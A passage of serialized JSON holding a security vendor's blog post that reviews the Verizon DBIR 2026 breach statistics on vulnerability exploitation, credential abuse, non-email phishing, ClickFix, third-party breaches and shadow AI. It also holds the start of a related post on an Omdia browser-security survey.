sys":33477,"name":554,"slug":555,"tier":45},{"id":551},{"sys":33479,"name":457,"slug":458,"tier":45},{"id":454},{"sys":33481,"name":484,"slug":485,"tier":45},{"id":481},{"sys":33483,"name":333,"slug":334,"tier":45},{"id":330},{"sys":33485,"name":422,"slug":423,"tier":45},{"id":419},{"sys":33487,"name":244,"slug":245,"tier":45},{"id":241},"AunB53ENgDXpGtfck0wVIWIMH2JNgreFpn5xEkZdVmo",{"id":33490,"title":33491,"authorsCollection":33492,"content":33496,"extension":228,"faqItemsCollection":34095,"faqTitle":59,"featured":6,"hashTags":59,"meta":34097,"metaTitle":34098,"ogImage":59,"postType":8776,"publishedDate":34099,"relatedBlogPostsCollection":34100,"slug":36113,"stem":36114,"subtitle":59,"summary":36115,"synopsis":36126,"sys":36127,"tagsCollection":36130,"topicsCollection":36136,"__hash__":36186},"blog/blog/verizon-dbir-2026-review.json","What the Verizon DBIR tells us about how breaches happen in 2026",{"items":33493},[33494],{"fullName":3621,"firstName":3622,"jobTitle":3623,"socialLinks":59,"profilePicture":33495},{"url":3625},{"json":33497,"links":34025},{"data":33498,"content":33499,"nodeType":856},{},[33500,33507,33510,33518,33534,33541,33548,33554,33562,33569,33576,33582,33599,33604,33620,33628,33644,33651,33658,33661,33669,33685,33691,33710,33716,33724,33747,33754,33757,33765,33772,33778,33785,33803,33811,33827,33830,33838,33854,33861,33868,33886,33889,33897,33904,33911,33918,33924,33932,33948,33955,33972,33975,33983,33990,33997,34003,34009],{"data":33501,"content":33502,"nodeType":860},{},[33503],{"data":33504,"marks":33505,"value":33506,"nodeType":864},{},[],"The headline finding getting the most airtime in 2026 is that vulnerability exploitation has overtaken credential abuse as the top single initial access vector, jumping to 31% from 20% the year before. The vulnerability management crisis driving this statistic is one of the most important stories in this year's data. But reading it as evidence that identity threats are receding would be a mistake, because the DBIR's own data tells a more complicated and more useful story when you look at the full picture.",{"data":33508,"content":33509,"nodeType":1005},{},[],{"data":33511,"content":33512,"nodeType":1009},{},[33513],{"data":33514,"marks":33515,"value":33517,"nodeType":864},{},[33516],{"type":899},"Vulnerability exploitation has caught up with identity — not replaced it",{"data":33519,"content":33520,"nodeType":860},{},[33521,33525,33530],{"data":33522,"marks":33523,"value":33524,"nodeType":864},{},[],"The DBIR's headline comparison pits vulnerability exploitation (31%) against credential abuse (13%) as individual vectors. That comparison is accurate but incomplete, because the DBIR tracks identity-related initial access across ",{"data":33526,"marks":33527,"value":33529,"nodeType":864},{},[33528],{"type":899},"three",{"data":33531,"marks":33532,"value":33533,"nodeType":864},{},[]," separate categories: phishing (16%), credential abuse (13%), and pretexting (6%). Before interpreting those numbers, there's a methodological wrinkle worth understanding.",{"data":33535,"content":33536,"nodeType":860},{},[33537],{"data":33538,"marks":33539,"value":33540,"nodeType":864},{},[],"This year's report added pretexting as a newly tracked initial access vector, reclassifying some incidents previously counted as credential abuse. The DBIR is transparent about the effect: without that change, credential abuse would have been 16% rather than 13%. On an apples-to-apples basis, identity-related initial access (phishing 16% + credential abuse 16%) comes to 32% — versus 31% for vulnerability exploitation.",{"data":33542,"content":33543,"nodeType":860},{},[33544],{"data":33545,"marks":33546,"value":33547,"nodeType":864},{},[],"To be precise about what moved: phishing held roughly flat year over year, but credential abuse saw a modest decline even on the adjusted basis (from 22% to 16%). Overall, the identity picture is broadly stable. The reason the two categories have converged is that vulnerability exploitation surged 55%, not that identity attacks meaningfully receded.",{"data":33549,"content":33553,"nodeType":996},{"target":33550},{"sys":33551},{"id":33552,"type":1001,"linkType":1002},"5GvSsSY4R6X34ZBMidZ54X",[],{"data":33555,"content":33556,"nodeType":1312},{},[33557],{"data":33558,"marks":33559,"value":33561,"nodeType":864},{},[33560],{"type":899},"The taxonomy gap",{"data":33563,"content":33564,"nodeType":860},{},[33565],{"data":33566,"marks":33567,"value":33568,"nodeType":864},{},[],"It's also worth asking how much the DBIR's initial access taxonomy can tell us. The figure that everyone is citing — Figure 10 — is labelled \"select enumerations,\" and the four tracked vectors (vulnerability exploitation, phishing, credential abuse, pretexting) add up to only 66% of initial access. A third of the picture isn't represented in the headline breakdown at all.",{"data":33570,"content":33571,"nodeType":860},{},[33572],{"data":33573,"marks":33574,"value":33575,"nodeType":864},{},[],"The cluster boundaries and where you draw them also changes the story. The DBIR classifies ClickFix under \"baiting\" — a category that covers malicious downloads and SEO poisoning — rather than phishing, even though the end goal is often the same: getting a user to execute something they shouldn't. Pretexting absorbed incidents that were previously credential abuse, shifting the numbers between categories. These are useful analytical clusters, but they aren't clean divisions of a neatly partitioned attack surface.",{"data":33577,"content":33581,"nodeType":996},{"target":33578},{"sys":33579},{"id":33580,"type":1001,"linkType":1002},"7t6ZcHDycaPOyLstX4r8zl",[],{"data":33583,"content":33584,"nodeType":860},{},[33585,33589,33596],{"data":33586,"marks":33587,"value":33588,"nodeType":864},{},[],"These are identity attacks at scale, and it isn't clear where — or whether — they show up in the DBIR's initial access vectors. This lack of depth in identity and in-browser attack vectors is common in many defensive models, which is why we've created our own ",{"data":33590,"content":33591,"nodeType":883},{"uri":5243},[33592],{"data":33593,"marks":33594,"value":33595,"nodeType":864},{},[],"Browser and Identity Attacks Matrix",{"data":33597,"marks":33598,"value":2924,"nodeType":864},{},[],{"data":33600,"content":33603,"nodeType":996},{"target":33601},{"sys":33602},{"id":4990,"type":1001,"linkType":1002},[],{"data":33605,"content":33606,"nodeType":860},{},[33607,33611,33616],{"data":33608,"marks":33609,"value":33610,"nodeType":864},{},[],"That convergence at initial access also understates the role credentials play across full breach chains. The DBIR states plainly that credential abuse at any point in the breach progression — not just as the first action — appears in ",{"data":33612,"marks":33613,"value":33615,"nodeType":864},{},[33614],{"type":899},"39% of all breaches",{"data":33617,"marks":33618,"value":33619,"nodeType":864},{},[],", making it the single most pervasive technique in the dataset. Credentials don't just open the front door; they unlock lateral movement, privilege escalation, and persistence throughout the attack chain.",{"data":33621,"content":33622,"nodeType":1312},{},[33623],{"data":33624,"marks":33625,"value":33627,"nodeType":864},{},[33626],{"type":899},"The vulnerability treadmill",{"data":33629,"content":33630,"nodeType":860},{},[33631,33635,33640],{"data":33632,"marks":33633,"value":33634,"nodeType":864},{},[],"The vulnerability exploitation surge itself is driven by a structural capacity crisis rather than a shift in attacker preference. Edge devices and VPNs now account for 22% of vulnerability-exploitation breaches, up from 3% the prior year — a ",{"data":33636,"marks":33637,"value":33639,"nodeType":864},{},[33638],{"type":2246},"sevenfold",{"data":33641,"marks":33642,"value":33643,"nodeType":864},{},[]," increase. Organizations face 50% more CISA KEV vulnerabilities to remediate than a year ago, median remediation time has increased from 32 to 43 days, and the volume of vulnerability records in the dataset has grown roughly eightfold.",{"data":33645,"content":33646,"nodeType":860},{},[33647],{"data":33648,"marks":33649,"value":33650,"nodeType":864},{},[],"This trend was already visible in last year's DBIR, when vulnerability exploitation jumped from 15% to 20%. AI-assisted exploit development may be compounding the problem — the DBIR's own data shows 32% of AI-assisted initial access targeting vulnerability exploitation — but the structural capacity crisis was accelerating well before AI became a meaningful factor in the attacker toolkit.",{"data":33652,"content":33653,"nodeType":860},{},[33654],{"data":33655,"marks":33656,"value":33657,"nodeType":864},{},[],"The vulnerability treadmill is accelerating, and the DBIR's remediation data shows defenders losing ground. But this is an additive problem, not a substitution. Both attack surfaces are growing. ",{"data":33659,"content":33660,"nodeType":1005},{},[],{"data":33662,"content":33663,"nodeType":1009},{},[33664],{"data":33665,"marks":33666,"value":33668,"nodeType":864},{},[33667],{"type":899},"Phishing has left the inbox",{"data":33670,"content":33671,"nodeType":860},{},[33672,33676,33681],{"data":33673,"marks":33674,"value":33675,"nodeType":864},{},[],"41% percent of social engineering breaches now involve vectors other than email, with approximately a quarter coming from social media or phone-based channels. Voice phishing simulations show a ",{"data":33677,"marks":33678,"value":33680,"nodeType":864},{},[33679],{"type":899},"40% higher success rate",{"data":33682,"marks":33683,"value":33684,"nodeType":864},{},[]," than email phishing — a median click rate of 2% versus 1.4%.",{"data":33686,"content":33690,"nodeType":996},{"target":33687},{"sys":33688},{"id":33689,"type":1001,"linkType":1002},"7pK8qqIDDNmHmJmlcybNoe",[],{"data":33692,"content":33693,"nodeType":860},{},[33694,33698,33706],{"data":33695,"marks":33696,"value":33697,"nodeType":864},{},[],"Even within the email channel, the data confirms what ",{"data":33699,"content":33701,"nodeType":883},{"uri":33700},"https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/",[33702],{"data":33703,"marks":33704,"value":33705,"nodeType":864},{},[],"browser-level detection data has been showing",{"data":33707,"marks":33708,"value":33709,"nodeType":864},{},[],": credential harvesting dominates. The DBIR's email security gateway breakdown shows 80% of blocked attacks are credential or session phishing, with only 10% involving malware delivery, 5% callback phishing, and 3% BEC. If you're running an email security gateway, the vast majority of what it catches is credential phishing — and 41% of social engineering is arriving through channels it can't see at all.",{"data":33711,"content":33715,"nodeType":996},{"target":33712},{"sys":33713},{"id":33714,"type":1001,"linkType":1002},"6CvwzQA3gJ8B3RFzLrH7Kp",[],{"data":33717,"content":33718,"nodeType":1312},{},[33719],{"data":33720,"marks":33721,"value":33723,"nodeType":864},{},[33722],{"type":899},"The ClickFix detection gap",{"data":33725,"content":33726,"nodeType":860},{},[33727,33731,33738,33742],{"data":33728,"marks":33729,"value":33730,"nodeType":864},{},[],"The DBIR reports ClickFix at only 2.7% of attacks detected at the browser level. For context, ",{"data":33732,"content":33733,"nodeType":883},{"uri":12433},[33734],{"data":33735,"marks":33736,"value":33737,"nodeType":864},{},[],"CrowdStrike reported a 563% increase in ClickFix lures",{"data":33739,"marks":33740,"value":33741,"nodeType":864},{},[]," over the same period and Microsoft identified it as the most common initial access point at 47% of observed attacks. Push's own data shows ClickFix at a significantly higher proportion of browser-level detections, ",{"data":33743,"marks":33744,"value":33746,"nodeType":864},{},[33745],{"type":899},"with 4 in 5 delivered via search engines specifically.",{"data":33748,"content":33749,"nodeType":860},{},[33750],{"data":33751,"marks":33752,"value":33753,"nodeType":864},{},[],"The gap is striking, and the most likely explanation is a visibility one. ClickFix attacks result in a malware download or script execution on the endpoint — and without browser-layer context, that execution looks like any other malware delivery. If a contributing organization doesn't have visibility into the browser session that preceded the payload, they'd attribute the incident to \"malware download\" or \"user execution\" rather than ClickFix specifically. The DBIR's 2.7% probably reflects how often contributors could trace the chain back to a ClickFix page, not how often ClickFix was actually the delivery mechanism.",{"data":33755,"content":33756,"nodeType":1005},{},[],{"data":33758,"content":33759,"nodeType":1009},{},[33760],{"data":33761,"marks":33762,"value":33764,"nodeType":864},{},[33763],{"type":899},"Stolen credentials are the ransomware on-ramp",{"data":33766,"content":33767,"nodeType":860},{},[33768],{"data":33769,"marks":33770,"value":33771,"nodeType":864},{},[],"One of the most powerful findings in this year's DBIR is the quantification of the relationship between credential compromise and ransomware outcomes. Fifty percent of ransomware victims had a credential or infostealer event occur within 95 days prior to the ransomware attack, drawing a causal line from credential theft to ransomware deployment.",{"data":33773,"content":33777,"nodeType":996},{"target":33774},{"sys":33775},{"id":33776,"type":1001,"linkType":1002},"3ZwG5UiweFR4fYiDaxJJDm",[],{"data":33779,"content":33780,"nodeType":860},{},[33781],{"data":33782,"marks":33783,"value":33784,"nodeType":864},{},[],"The infostealer supply chain data reinforces the picture. Infostealers are surfacing an average of 2,362 breached corporate credentials per month from organizational email domains in stealer log datasets, and 54% of devices in Initial Access Broker logs had at least one infostealer installed. The 95-day median window is consistent with the known timeline from credential harvest to ransomware deployment.",{"data":33786,"content":33787,"nodeType":860},{},[33788,33792,33799],{"data":33789,"marks":33790,"value":33791,"nodeType":864},{},[],"That timeline reinforces an argument we've been making about ",{"data":33793,"content":33794,"nodeType":883},{"uri":3210},[33795],{"data":33796,"marks":33797,"value":33798,"nodeType":864},{},[],"where the intervention point needs to be",{"data":33800,"marks":33801,"value":33802,"nodeType":864},{},[],": detecting credential compromise upstream — at the point of credential entry, session creation, or stolen credential reuse — rather than waiting for the ransomware deployment that follows weeks or months later.",{"data":33804,"content":33805,"nodeType":1312},{},[33806],{"data":33807,"marks":33808,"value":33810,"nodeType":864},{},[33809],{"type":899},"Post-compromise tradecraft is shifting",{"data":33812,"content":33813,"nodeType":860},{},[33814,33818,33823],{"data":33815,"marks":33816,"value":33817,"nodeType":864},{},[],"The DBIR's post-compromise data adds another dimension. RMM tool abuse by threat actors showed a ",{"data":33819,"marks":33820,"value":33822,"nodeType":864},{},[33821],{"type":899},"240% increase",{"data":33824,"marks":33825,"value":33826,"nodeType":864},{},[]," over the prior year, while traditional backdoor and C2 malware usage fell 27%. Attackers are increasingly living off the land with the same remote access tools IT teams use. Post-compromise detection is getting harder, which makes catching the initial credential compromise upstream that much more valuable.",{"data":33828,"content":33829,"nodeType":1005},{},[],{"data":33831,"content":33832,"nodeType":1009},{},[33833],{"data":33834,"marks":33835,"value":33837,"nodeType":864},{},[33836],{"type":899},"Your vendors are half the problem",{"data":33839,"content":33840,"nodeType":860},{},[33841,33845,33850],{"data":33842,"marks":33843,"value":33844,"nodeType":864},{},[],"Third-party involvement in breaches reached ",{"data":33846,"marks":33847,"value":33849,"nodeType":864},{},[33848],{"type":899},"48%",{"data":33851,"marks":33852,"value":33853,"nodeType":864},{},[]," this year, up from 30% — a 60% increase that follows a prior year where the figure had already doubled.",{"data":33855,"content":33856,"nodeType":860},{},[33857],{"data":33858,"marks":33859,"value":33860,"nodeType":864},{},[],"The DBIR's root cause analysis maps directly to identity security: insecure authentication — absent MFA, improper credential rotation — and lack of least privilege enforcement account for a substantial share of cloud-based third-party incidents. Only 23% of third-party organizations fully remediated missing or improperly secured MFA on cloud accounts, and weak password and permission misconfigurations took a median of 8 months to resolve 50% of findings.",{"data":33862,"content":33863,"nodeType":860},{},[33864],{"data":33865,"marks":33866,"value":33867,"nodeType":864},{},[],"Eight months. That's the median timeline for third-party vendors to resolve the identity hygiene issues that create the attack surface in their environments — environments that your data lives in.",{"data":33869,"content":33870,"nodeType":860},{},[33871,33875,33882],{"data":33872,"marks":33873,"value":33874,"nodeType":864},{},[],"Extend that posture gap across every vendor and third-party integration, and you start to see why the third-party breach figure keeps climbing. Visibility into ",{"data":33876,"content":33877,"nodeType":883},{"uri":4103},[33878],{"data":33879,"marks":33880,"value":33881,"nodeType":864},{},[],"OAuth consent flows and third-party integration sprawl",{"data":33883,"marks":33884,"value":33885,"nodeType":864},{},[]," is the starting point for getting ahead of a supply chain problem that is structurally getting worse.",{"data":33887,"content":33888,"nodeType":1005},{},[],{"data":33890,"content":33891,"nodeType":1009},{},[33892],{"data":33893,"marks":33894,"value":33896,"nodeType":864},{},[33895],{"type":899},"AI is scaling known techniques — and creating new blind spots from the inside",{"data":33898,"content":33899,"nodeType":860},{},[33900],{"data":33901,"marks":33902,"value":33903,"nodeType":864},{},[],"The DBIR's AI analysis this year is grounded in a collaboration with Anthropic covering 793 threat actors who received enforcement action for violating acceptable use policy between March 2025 and February 2026. The findings are measured rather than alarmist: in the median case, actors sought AI assistance across about 15 distinct ATT&CK techniques, 44% of AI-assisted initial access was phishing-related, and less than 2.5% of techniques observed were classified as rare.",{"data":33905,"content":33906,"nodeType":860},{},[33907],{"data":33908,"marks":33909,"value":33910,"nodeType":864},{},[],"AI is currently an operational tool for attackers — automating and scaling known techniques rather than unlocking novel ones. Despite heavy AI-assisted focus on phishing, the DBIR's own incident dataset shows phishing as an initial access vector has barely changed year over year — suggesting AI may be uplifting less-experienced attackers to a higher baseline of lure quality without meaningfully increasing success rates against organizations that already have detection in place.",{"data":33912,"content":33913,"nodeType":860},{},[33914],{"data":33915,"marks":33916,"value":33917,"nodeType":864},{},[],"The more concerning number is the 32% of AI-assisted initial access targeting vulnerability exploitation — compounding the patching capacity crisis discussed earlier in a trend that was already accelerating before AI entered the picture.",{"data":33919,"content":33923,"nodeType":996},{"target":33920},{"sys":33921},{"id":33922,"type":1001,"linkType":1002},"4bFTnVx1SXMQzZSaICCJOn",[],{"data":33925,"content":33926,"nodeType":1312},{},[33927],{"data":33928,"marks":33929,"value":33931,"nodeType":864},{},[33930],{"type":899},"Shadow AI is the bigger problem",{"data":33933,"content":33934,"nodeType":860},{},[33935,33939,33944],{"data":33936,"marks":33937,"value":33938,"nodeType":864},{},[],"The sharper AI risk for most organizations, though, is internal. Forty-five percent of employees are now regular AI users on corporate devices — up from 15%, a threefold increase — and ",{"data":33940,"marks":33941,"value":33943,"nodeType":864},{},[33942],{"type":899},"67% of them use non-corporate accounts",{"data":33945,"marks":33946,"value":33947,"nodeType":864},{},[],". Shadow AI has become the third most common non-malicious insider action in DLP data, a fourfold increase over the prior year, with source code as the leading data type submitted to unauthorized AI platforms by a wide margin.",{"data":33949,"content":33950,"nodeType":860},{},[33951],{"data":33952,"marks":33953,"value":33954,"nodeType":864},{},[],"The browser extension angle is particularly relevant. More than 15% of users had unauthorized AI browser extensions installed, and the DBIR specifically notes that these extensions collect and retain browsing context from internal sites — creating a data exfiltration pathway that operates independently of traditional DLP controls.",{"data":33956,"content":33957,"nodeType":860},{},[33958,33962,33969],{"data":33959,"marks":33960,"value":33961,"nodeType":864},{},[],"This is moving faster than any previous shadow IT wave, and the data loss vector is the browser — where users interact with AI tools, where extensions collect context, and where OAuth consent grants connect AI services to corporate data. Visibility and control at that layer isn't a nice-to-have for AI governance; ",{"data":33963,"content":33964,"nodeType":883},{"uri":28477},[33965],{"data":33966,"marks":33967,"value":33968,"nodeType":864},{},[],"it's the minimum viable starting point",{"data":33970,"marks":33971,"value":2924,"nodeType":864},{},[],{"data":33973,"content":33974,"nodeType":1005},{},[],{"data":33976,"content":33977,"nodeType":1009},{},[33978],{"data":33979,"marks":33980,"value":33982,"nodeType":864},{},[33981],{"type":899},"What this means for defenders",{"data":33984,"content":33985,"nodeType":860},{},[33986],{"data":33987,"marks":33988,"value":33989,"nodeType":864},{},[],"The DBIR's 2026 data paints a picture of converging pressures rather than shifting priorities. Vulnerability exploitation surged, but identity-related initial access is broadly stable and credential abuse at 39% across full breach chains remains the single most pervasive technique in the dataset. Phishing is arriving through channels that email gateways can't see. The infostealer-to-ransomware pipeline now has longitudinal data behind it. Third-party involvement keeps climbing because vendor identity hygiene takes months to remediate. And shadow AI is creating data exposure pathways that most security stacks weren't designed to see.",{"data":33991,"content":33992,"nodeType":860},{},[33993],{"data":33994,"marks":33995,"value":33996,"nodeType":864},{},[],"The common thread across all of these findings is that the browser — where credentials are entered, sessions are created, OAuth consent is granted, AI tools are accessed, and extensions collect data — is the layer where these risks converge and where defenders need visibility and control if they're going to address them at the point of risk rather than after the fact.",{"data":33998,"content":33999,"nodeType":860},{},[34000],{"data":34001,"marks":34002,"value":1682,"nodeType":864},{},[],{"data":34004,"content":34005,"nodeType":860},{},[34006],{"data":34007,"marks":34008,"value":1689,"nodeType":864},{},[],{"data":34010,"content":34011,"nodeType":860},{},[34012,34015,34022],{"data":34013,"marks":34014,"value":21,"nodeType":864},{},[],{"data":34016,"content":34017,"nodeType":883},{"uri":1700},[34018],{"data":34019,"marks":34020,"value":1703,"nodeType":864},{},[34021],{"type":1455},{"data":34023,"marks":34024,"value":21,"nodeType":864},{},[],{"entries":34026},{"hyperlink":34027,"inline":34028,"block":34029},[],[],[34030,34036,34061,34064,34078,34083,34090],{"sys":34031,"__typename":1724,"title":34032,"caption":34032,"layoutMode":59,"file":34033},{"id":33552},"DBIR Figure 10 (p.15) — Initial access vectors, select enumerations",{"url":34034,"width":1736,"height":34035},"https://images.ctfassets.net/y1cdw1ablpvd/18rPvZ4Sw11UCHE7MxzXkd/17d059302242b4034686b13ee3044c8e/image4.png",1521,{"sys":34037,"__typename":1740,"content":34038,"name":34060,"title":59},{"id":33580},{"json":34039},{"nodeType":856,"data":34040,"content":34041},{},[34042],{"nodeType":860,"data":34043,"content":34044},{},[34045,34049,34056],{"nodeType":864,"value":34046,"marks":34047,"data":34048},"Some of the ",[],{},{"nodeType":883,"data":34050,"content":34051},{"uri":1765},[34052],{"nodeType":864,"value":34053,"marks":34054,"data":34055},"most consequential identity-based campaigns of the past 12 months",[],{},{"nodeType":864,"value":34057,"marks":34058,"data":34059}," don't map cleanly to any of these categories — the mass Salesforce campaign that compromised over 1,000 organizations via device code phishing, the Anodot breach chain that pivoted through stored OAuth tokens to reach Snowflake customers, ConsentFix abusing Azure CLI's OAuth flow to bypass MFA entirely.",[],{},"DBIR 2026 IB1",{"sys":34062,"__typename":1724,"title":5248,"caption":5662,"layoutMode":59,"file":34063},{"id":4990},{"url":5664,"width":5665,"height":5666},{"sys":34065,"__typename":1740,"content":34066,"name":34077,"title":59},{"id":33689},{"json":34067},{"data":34068,"content":34069,"nodeType":856},{},[34070],{"data":34071,"content":34072,"nodeType":860},{},[34073],{"data":34074,"marks":34075,"value":34076,"nodeType":864},{},[],"The data is a little confusing. The DBIR draws a line between Phishing (asynchronous — send a message and hope for a click) and Pretexting (synchronous — someone interacting with you in real time). Voice phishing over a phone call is Pretexting in VERIS, not Phishing, even though most practitioners would call it phishing. Browser-based credential harvesting delivered via SEO poisoning or malicious downloads falls under \"Baiting.\" So the 16% phishing figure probably understates the full scope of credential-harvesting social engineering as most defenders would define it.","DBIR IB2",{"sys":34079,"__typename":1724,"title":34080,"caption":34080,"layoutMode":59,"file":34081},{"id":33714},"DBIR Figure 54 (p.49) — Median percentage of email attack types by month",{"url":34082,"width":1736,"height":34035},"https://images.ctfassets.net/y1cdw1ablpvd/4eWtJSz2QhM6QgXXjNuBNs/e6a33a088b7b0fb0dd1649c5d9164b53/image1.png",{"sys":34084,"__typename":1724,"title":34085,"caption":34085,"layoutMode":59,"file":34086},{"id":33776},"DBIR Figure 48 (p.45) — Credential leakage events prior to ransomware",{"url":34087,"width":34088,"height":34089},"https://images.ctfassets.net/y1cdw1ablpvd/26NpMQ31lpHgp5x8FrDumz/f022f1ede66b171dd756d28009a7d4a5/image2.png",1772,776,{"sys":34091,"__typename":1724,"title":34092,"caption":34092,"layoutMode":59,"file":34093},{"id":33922},"DBIR Figure 65 (p.60) — Select data types in DLP events targeting generative AI tools",{"url":34094,"width":1736,"height":34035},"https://images.ctfassets.net/y1cdw1ablpvd/584Txvap6FW9GlFlin9GwB/f5f5488251d9faee7fedc3030d2390b1/image5.png",{"items":34096},[],{},"What the Verizon DBIR tells us about breaches in 2026","2026-05-20T00:00:00.000Z",{"items":34101},[34102,34693,35671],{"__typename":2059,"sys":34103,"content":34105,"title":34679,"synopsis":34680,"hashTags":59,"publishedDate":34681,"slug":34682,"tagsCollection":34683,"authorsCollection":34689},{"id":34104},"217s8zu5idSdX25TUgbPQ1",{"json":34106},{"data":34107,"content":34108,"nodeType":856},{},[34109,34127,34134,34141,34147,34150,34158,34174,34181,34187,34194,34277,34284,34289,34296,34302,34305,34313,34325,34332,34344,34347,34355,34371,34378,34385,34388,34396,34403,34419,34425,34441,34448,34455,34462,34478,34485,34488,34496,34503,34519,34526,34529,34537,34553,34560,34580,34592,34595,34603,34619,34626,34633,34640,34647,34650,34657,34663],{"data":34110,"content":34111,"nodeType":860},{},[34112,34115,34123],{"data":34113,"marks":34114,"value":2761,"nodeType":864},{},[],{"data":34116,"content":34118,"nodeType":883},{"uri":34117},"https://research.esg-global.com/reportaction/515202191/Marketing",[34119],{"data":34120,"marks":34121,"value":34122,"nodeType":864},{},[],"Omdia Browser Management and Security report",{"data":34124,"marks":34125,"value":34126,"nodeType":864},{},[],", based on a survey of 400 IT and security professionals across North America fielded in late 2025, is the most comprehensive industry data to date on how organizations are experiencing, prioritizing, and investing in the secure enterprise browser (SEB) market. ",{"data":34128,"content":34129,"nodeType":860},{},[34130],{"data":34131,"marks":34132,"value":34133,"nodeType":864},{},[],"For us at Push, it externally validates what we've known to be true for some time — the browser is where work happens, where attacks land, and where defenders need to be if they want to detect and stop threats before damage is done.",{"data":34135,"content":34136,"nodeType":860},{},[34137],{"data":34138,"marks":34139,"value":34140,"nodeType":864},{},[],"We pulled out seven findings that matter most for security teams evaluating their approach.",{"data":34142,"content":34146,"nodeType":996},{"target":34143},{"sys":34144},{"id":34145,"type":1001,"linkType":1002},"4aM879egIFYmDvOhzyNI9A",[],{"data":34148,"content":34149,"nodeType":1005},{},[],{"data":34151,"content":34152,"nodeType":1009},{},[34153],{"data":34154,"marks":34155,"value":34157,"nodeType":864},{},[34156],{"type":899},"1. The attacks driving concern are the ones happening inside the browser session",{"data":34159,"content":34160,"nodeType":860},{},[34161,34165,34170],{"data":34162,"marks":34163,"value":34164,"nodeType":864},{},[],"The threat picture is driving everything else in this report, so it's the right place to start. ",{"data":34166,"marks":34167,"value":34169,"nodeType":864},{},[34168],{"type":899},"49% of organizations suffered a successful browser-based attack in the last 12 months.",{"data":34171,"marks":34172,"value":34173,"nodeType":864},{},[]," Among those affected, browser-originated incidents account for roughly 37% of all security incidents — and 68% say that share has grown over the past two years. ",{"data":34175,"content":34176,"nodeType":860},{},[34177],{"data":34178,"marks":34179,"value":34180,"nodeType":864},{},[],"The browser is not an emerging threat vector. It’s worth noting here that these numbers are also likely lower than the reality, since many are only identified later in the kill chain. Without browser-level telemetry they can be difficult to trace back their source — which in the vast majority of cases, even for malware-driven attacks, is the browser. ",{"data":34182,"content":34186,"nodeType":996},{"target":34183},{"sys":34184},{"id":34185,"type":1001,"linkType":1002},"6Kcz8oILKVHmhQIo5Du6V",[],{"data":34188,"content":34189,"nodeType":860},{},[34190],{"data":34191,"marks":34192,"value":34193,"nodeType":864},{},[],"What stands out is that every one of the top attack categories plays out inside the browser session itself — not against the browser as a piece of software, but within the sessions where users interact with applications:",{"data":34195,"content":34196,"nodeType":941},{},[34197,34207,34217,34227,34237,34247,34257,34267],{"data":34198,"content":34199,"nodeType":945},{},[34200],{"data":34201,"content":34202,"nodeType":860},{},[34203],{"data":34204,"marks":34205,"value":34206,"nodeType":864},{},[],"Phishing (40%)",{"data":34208,"content":34209,"nodeType":945},{},[34210],{"data":34211,"content":34212,"nodeType":860},{},[34213],{"data":34214,"marks":34215,"value":34216,"nodeType":864},{},[],"Data loss or leakage (38%)",{"data":34218,"content":34219,"nodeType":945},{},[34220],{"data":34221,"content":34222,"nodeType":860},{},[34223],{"data":34224,"marks":34225,"value":34226,"nodeType":864},{},[],"Malicious browser extensions (34%)",{"data":34228,"content":34229,"nodeType":945},{},[34230],{"data":34231,"content":34232,"nodeType":860},{},[34233],{"data":34234,"marks":34235,"value":34236,"nodeType":864},{},[],"Vulnerable browser extensions (33%)",{"data":34238,"content":34239,"nodeType":945},{},[34240],{"data":34241,"content":34242,"nodeType":860},{},[34243],{"data":34244,"marks":34245,"value":34246,"nodeType":864},{},[],"Malicious scripts (31%)",{"data":34248,"content":34249,"nodeType":945},{},[34250],{"data":34251,"content":34252,"nodeType":860},{},[34253],{"data":34254,"marks":34255,"value":34256,"nodeType":864},{},[],"Credential theft via browser (28%)",{"data":34258,"content":34259,"nodeType":945},{},[34260],{"data":34261,"content":34262,"nodeType":860},{},[34263],{"data":34264,"marks":34265,"value":34266,"nodeType":864},{},[],"Cookie theft (22%)",{"data":34268,"content":34269,"nodeType":945},{},[34270],{"data":34271,"content":34272,"nodeType":860},{},[34273],{"data":34274,"marks":34275,"value":34276,"nodeType":864},{},[],"AiTM attacks (17%)",{"data":34278,"content":34279,"nodeType":860},{},[34280],{"data":34281,"marks":34282,"value":34283,"nodeType":864},{},[],"Phishing, credential theft, cookie theft, and AiTM are attacks that target the user's interaction with a web page — the credential entry, the session creation, the token exchange. Malicious and vulnerable extensions are supply chain risks that operate inside the browser's own execution environment. Data loss happens through the browser when employees upload files, paste data into AI tools, or share information with unsanctioned applications. ",{"data":34285,"content":34288,"nodeType":996},{"target":34286},{"sys":34287},{"id":5895,"type":1001,"linkType":1002},[],{"data":34290,"content":34291,"nodeType":860},{},[34292],{"data":34293,"marks":34294,"value":34295,"nodeType":864},{},[],"None of these are attacks where network-layer traffic inspection, endpoint monitoring, or email scanning provides complete coverage, because the attack surface is the browser session itself.",{"data":34297,"content":34301,"nodeType":996},{"target":34298},{"sys":34299},{"id":34300,"type":1001,"linkType":1002},"5kI5h4Z31ByD73er7voayF",[],{"data":34303,"content":34304,"nodeType":1005},{},[],{"data":34306,"content":34307,"nodeType":1009},{},[34308],{"data":34309,"marks":34310,"value":34312,"nodeType":864},{},[34311],{"type":899},"2. Browser security is now a board-level priority",{"data":34314,"content":34315,"nodeType":860},{},[34316,34321],{"data":34317,"marks":34318,"value":34320,"nodeType":864},{},[34319],{"type":899},"88% of respondents rank browser security as at least a top-five security priority",{"data":34322,"marks":34323,"value":34324,"nodeType":864},{},[],", with more than a quarter (26%) calling it their single top priority. For context, this is a survey that covers the full spectrum of security concerns — cloud, supply chain, AI, insider risk — and browser security has risen above most of them.",{"data":34326,"content":34327,"nodeType":860},{},[34328],{"data":34329,"marks":34330,"value":34331,"nodeType":864},{},[],"This is not aspirational interest. The correlation between priority level and investment is sharp: among those who rank browser security as their top priority, 72% have significantly increased their investment due to emerging threats. Among those who rank it in their top five, that figure is 26%. The organizations that care most are spending the most.",{"data":34333,"content":34334,"nodeType":860},{},[34335,34340],{"data":34336,"marks":34337,"value":34339,"nodeType":864},{},[34338],{"type":899},"86% of respondents have increased their browser security investment in response to emerging threats",{"data":34341,"marks":34342,"value":34343,"nodeType":864},{},[],", with 36% saying the increase was significant. When you ask what's driving that spend, the answer is the threat landscape: the attacks cataloged in the previous section are the reason budgets are moving.",{"data":34345,"content":34346,"nodeType":1005},{},[],{"data":34348,"content":34349,"nodeType":1009},{},[34350],{"data":34351,"marks":34352,"value":34354,"nodeType":864},{},[34353],{"type":899},"3. Real budget is being allocated — and it's growing",{"data":34356,"content":34357,"nodeType":860},{},[34358,34362,34367],{"data":34359,"marks":34360,"value":34361,"nodeType":864},{},[],"Secure 